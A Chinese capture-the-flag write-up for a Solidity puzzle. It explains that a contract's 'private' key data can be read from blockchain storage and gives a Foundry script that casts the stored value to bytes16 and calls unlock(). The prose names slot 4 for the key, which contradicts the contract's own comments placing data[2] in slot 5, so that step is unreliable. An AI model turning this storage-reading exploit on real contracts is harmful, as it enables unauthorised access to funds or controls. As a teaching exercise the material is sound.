合约代码：`Privacy.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    // slot 0
    bool public locked = true;
    // slot 1
    uint256 public ID = block.timestamp;
    // slot 2
    uint8 private flattening = 10;
    // slot 2
    uint8 private denomination = 255;
    // slot 2
    uint16 private awkwardness = uint16(block.timestamp);
    //slot 3  slot 4  slot 5
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }
}
```

目标是解锁，就是将变量`locked`从`true`变成`false`，思路就是调用`unlock`函数，但是需要参数，是一个 16 字节的参数。

这道题没什么难度，主要考察的是存储槽。

我们需要查出`slot 4`的值，但是是一个 32 字节的变量，所以我们需要类型转换，最后传入参数就可以了。

脚本：`Privacy_attack.s.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Privacy} from "../src/Privacy.sol";

contract MyScript is Script {

    Privacy _privacy = Privacy(0x08Fb8d9e502c9383d8B598dd28f7b72D463a3628);

    function run() external {
        vm.startBroadcast();

```

```
        bytes16 _key = bytes16(bytes32(0x97fad2190744fd7bd3e57b295a246dc5b9a0bfa96b96885710081ea8e0bb9b78));
        _privacy.unlock(_key);

        vm.stopBroadcast();
    }
}
```

运行脚本，任务完成。